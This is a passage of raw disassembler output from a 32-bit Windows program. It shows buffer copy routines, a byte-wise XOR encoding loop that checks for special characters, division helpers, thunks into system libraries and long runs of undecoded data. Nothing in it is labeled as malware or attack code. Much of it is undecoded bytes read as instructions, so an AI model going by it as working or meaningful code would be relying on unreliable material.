ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B97+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403720+5j ... nop jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- align 10h byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o ; ___:0043F018o ... db 0E9h, 47h, 0E4h dd 0E990777Fh, 777E444Ch, 18F5E990h ; --------------------------------------------------------------------------- jg short loc_437B49 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... nop jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0B2h, 0FFh dd 0E9907780h, 7781017Ch, 1FBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- db 41h dword_437AF0 dd 7E99F2E9h, 0C18B4B77h, 0F1D400C7h, 4C20043h, 0F18B5600h dd 3B3E8h, 2444F600h, 7740108h, 0FFBCE856h, 8B59FFFFh dd 4C25EC6h, 0C2C18B00h db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437B22 proc near ; CODE XREF: sub_409660+4Dp ; ___:0040AA7Dp jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 0C5h dd 80845DE9h, 0CCCC2F77h ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A110+5p ; sub_410030+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_437B49: ; CODE XREF: ___:00437AD0j cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- align 10h dd 80FAFBE9h, 0E990C277h, 777E5424h, 7F04E990h, 0E9907780h dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch, 7F487EE9h dd 3D83AE77h, 5109D4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch dd 68C35990h, 5109C4h, 5109D468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 7F464EE9h, 0E9906F77h, 777FF5E8h, 7FF5FAE9h db 77h, 0BBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437BDA proc near ; CODE XREF: sub_4199C0+28p nop jmp near ptr 77C4FA10h sub_437BDA endp ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E3h, 8Dh dd 0E9907780h, 7780733Ch, 187E990h, 97E97781h, 53778091h dd 9515E990h, 0E9907780h, 77809888h, 8096ABE9h, 0E990DE77h dd 77809A43h, 0FEE2E990h, 0E9907780h, 77809E6Eh, 8071EDE9h dd 4E9EB77h, 0CF778091h, 43ADE990h, 0E990777Fh, 777E4845h dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 7E758FE9h, 0FEE9B877h dd 2877807Bh, 809B31E9h, 9CE93777h, 55778026h, 25C1E990h dd 0E9907780h, 778113C7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437D4C proc near ; CODE XREF: ___:0043297Cp nop jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- db 90h db 0E9h dword_437D54 dd 777FF01Ch, 8E53E990h, 83517780h, 8616FCFBh, 64A044C4h dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh dd 5653DE64h, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h dd 0D835977h, 5109C4h, 0D40D83FFh, 0FF005109h, 7435E890h dd 0D8B777Eh, 5108C4h, 0E8900889h, 777E73F0h, 8C00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 5109B8h, 12EE8h, 0C01D3900h dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8BCA100h, 45890051h dd 94458D94h, 0B835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2439ED0h dd 0A050E850h, 4589FFFCh, 0E3E85098h, 9077801Fh, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 77801FDEh, 7E99A7E9h, 0E990DC77h, 777FCF89h dd 1FCCE990h, 0E9907780h, 777FAEDAh, 7E7012E9h, 0E9902D77h dd 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h, 0E990C359h dd 7781577Dh, 0C3C3C033h, 7E72A3E9h, 0E9907B77h, 777E72D3h dd 0D46EE990h, 81E9777Fh, 80777FDDh, 816F16E9h, 0E9903277h dd 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h, 7553E990h dd 0F9E975C5h, 0F575C684h, 0C4A02AE9h, 0E9903975h, 75C53908h dd 0F765E990h, 0E99075C5h, 75C4DB94h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep nop jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23A8C71h, 8D00E990h, 0E990023Ah, 23B8098h, 3B842CE9h dd 0E990BD02h, 23C808Ch, 928CE990h, 0E990023Ch, 23D8080h dd 807AE990h, 0E990023Eh, 23E9956h, 9BAEE990h, 69E9023Eh dd 76023F80h, 836CE990h, 0E990023Fh, 23F8455h, 8A1BE990h dd 0E990023Fh, 2408050h, 83C8E990h, 0E9900240h, 2418044h dd 83FBE990h, 0E9900241h, 2418677h, 8032E990h, 0E9900242h dd 243802Ch, 91C8E990h, 7DE90243h, 0A102439Dh, 801AE990h dd 0E9900244h, 2448795h, 448BA6E9h, 0E990B802h, 2448CC8h dd 8002E990h, 2DE90245h, 67023A88h, 3A7FF7E9h, 0E9906F02h dd 2397FF0h, 388813E9h, 0E9908D02h, 2387FE4h, 377FDFE9h dd 0E9904102h, 23685C2h, 833CE990h, 0E9900236h, 2367FCCh dd 8655E990h, 0E9900235h, 2358499h, 7FBAE990h, 0E990022Ch dd 2358472h, 8442E990h, 0E9900235h, 7C4C9095h, 8FA7E990h dd 0E9907C4Ch, 23581B5h, 7F96E990h, 0E9900235h, 2348791h dd 7F8AE990h, 0E9900234h, 2338697h, 85E6E990h, 0E9900233h dd 23383FBh, 3382D9E9h, 0A1E95002h, 4E023381h, 337F67E9h dd 0E9902002h, 2328D82h, 8B81E990h, 0C8E90232h, 37023289h dd 8674E990h, 0E9900232h, 23285EBh, 7F42E990h, 27E90232h dd 2802318Bh, 3187DBE9h, 0E990AE02h, 23185F3h, 8258E990h dd 25E90231h, 8D02317Fh, 8939E990h, 0E9900230h, 2308550h dd 3084FBE9h, 0E990FF02h, 2307F0Ch, 2F8C6FE9h, 0E990E602h dd 22F8942h, 2F8599E9h, 0E9904E02h, 22F7EF4h, 8B73E990h dd 0E990022Eh, 22E89FDh, 2E8748E9h, 0E9900402h, 22E85D8h dd 7ED6E990h, 0E990022Eh, 22D7ED0h, 0F39BE990h, 19E9001Bh dd 41024586h, 90E7E990h, 0B9E9024Fh, 16024B7Eh, 7EB2E990h dd 0ADE9024Fh, 0C0024E7Eh, 8B9AE990h, 0E990024Dh, 24D7EA0h dd 80DAE990h, 0E990024Ch, 24C7E94h, 8A59E990h, 0E990024Bh dd 24B8672h, 856EE990h, 0E990024Bh, 24B82A8h, 8945E990h dd 0E9900245h, 24A8B0Dh, 4A871CE9h, 0E9906F02h, 24A8348h dd 7E5EE990h, 59E9024Ah, 8D02497Eh, 488013E9h, 0E9909C02h dd 2487E4Ch, 479868E9h, 2CE97902h, 0E1024795h, 4793E7E9h dd 0E9907602h, 2477E34h, 7E2EE990h, 39E90246h, 8D7C608Fh dd 67BD64E9h db 71h, 0EDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381DE proc near ; CODE XREF: ___:0042DBE1p jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- retf 90E9h ; --------------------------------------------------------------------------- dw 6862h db 71h, 50h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p nop jmp near ptr 71AB2BF4h sub_4381EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp nop jmp near ptr 71AB615Ah sub_4381F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... jmp near ptr 71AB428Ah sub_4381F6 endp ; --------------------------------------------------------------------------- xchg eax, edi ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... jmp near ptr 71AB9639h sub_4381FC endp ; --------------------------------------------------------------------------- push ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438202 proc near nop jmp near ptr 71AC1028h sub_438202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p nop jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A9ACh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438214 proc near jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- db 88h, 90h, 0E9h dd 7167A946h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438220 proc near ; CODE XREF: sub_42E870+187p nop jmp near ptr 71AB951Eh sub_438220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438226 proc near jmp near ptr 71AB3E00h sub_438226 endp ; --------------------------------------------------------------------------- db 0C0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43822C proc near ; CODE XREF: sub_42DB00+B1p nop jmp near ptr 71AB2B66h sub_43822C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p nop jmp near ptr 71AB3B91h sub_438232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438238 proc near nop jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167C1E4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438244 proc near ; CODE XREF: sub_42DA80+10p jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- db 2Dh, 90h, 0E9h dd 7167CE78h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438250 proc near ; CODE XREF: sub_434BA0+Bp jmp near ptr 71AB94DCh sub_438250 endp ; --------------------------------------------------------------------------- db 74h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A9C0+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0EEh, 88h ; --------------------------------------------------------------------------- push 0B1E99071h retn 7167h ; --------------------------------------------------------------------------- dd 67A953E9h, 0E9905571h, 7167AA9Bh, 0A9EFE990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43827A proc near jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- db 9 db 90h db 0E9h, 0E3h, 4 dd 0FEE97168h, 287167C1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p jmp near ptr 71ABE6EBh sub_43828C endp ; --------------------------------------------------------------------------- db 0E6h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap jmp near ptr 71AC0BDEh sub_438292 endp ; --------------------------------------------------------------------------- db 0D4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438298 proc near nop jmp near ptr 71AB2A5Eh sub_438298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp jmp near ptr 71B2578Ch sub_43829E endp ; --------------------------------------------------------------------------- dec esi ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp nop jmp near ptr 71B25099h sub_4382A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382AA proc near ; CODE XREF: ___:00426390p nop jmp near ptr 71B2517Fh sub_4382AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382B0 proc near ; CODE XREF: sub_420090+B4p jmp near ptr 76BF215Ah sub_4382B0 endp ; --------------------------------------------------------------------------- pop edx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp nop jmp near ptr 76BF1F1Ch sub_4382B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382BC proc near ; CODE XREF: sub_420090+21p nop jmp near ptr 76BF3A9Ah sub_4382BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p nop jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 80h, 0DFh dword_4382CC dd 0E9907780h, 7780DE51h, 0DE96E990h, 0E9907780h, 7780E040h dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; 